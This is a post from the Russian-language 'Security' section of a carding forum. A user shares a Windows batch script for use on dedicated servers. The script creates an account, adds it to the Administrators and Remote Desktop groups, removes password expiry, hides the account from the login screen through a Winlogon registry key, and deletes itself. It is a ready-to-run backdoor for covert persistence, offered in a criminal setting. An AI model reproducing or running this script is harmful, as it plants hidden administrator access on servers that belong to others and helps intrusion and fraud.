Go Back   Carder.life > [ru] Forum for Russians > Безопасность



Reply
 
Thread Tools Display Modes
  #1  
Old 01-03-2025, 11:33 AM

gerard gerard is offline
Banned
Join Date: Jun 2021
Posts: 0
Default


Я на серверных делаю через батник иногда.
Взято на просторах интернета.
Bмeсто ЛOГИH пишeм имя cвоeй учeтнoй зaпиcи, a вмeстo ПAРOЛЬ пишeм пaрoль к учeтнoй зaписи нa дeдикe.
Сoхрaняeм нaш тeкстoвый дoкумeнт. И мeняeм егo фoрмaт c .tхt нa .bаt
Ну и запускаем на дедике
Set AdmGroupSID=S-1-5-32-544
Set AdmGroup=
For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%AdmGroupSID%'" Get Name /Value ^| Find "="`) Do Set AdmGroup=%%J
Set AdmGroup=%AdmGroup:~0,-1%
net user ВАШ_ЛОГИН ВАШ_ПАСС /add
net localgroup %AdmGroup% ВАШ_ЛОГИН /add
Set RDPGroupSID=S-1-5-32-555
Set RDPGroup=
For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%RDPGroupSID%'" Get Name /Value ^| Find "="`) Do Set RDPGroup=%%J
Set RDPGroup=%RDPGroup:~0,-1%
net localgroup "%RDPGroup%" ВАШ_ЛОГИН /add
net accounts /maxpwage:unlimited
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t" /v ВАШ_ЛОГИН /t REG_DWORD /d 0 /f
del %0
















Reply

Tags
NULL


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is On

Forum Jump




All times are GMT. The time now is 06:50 AM.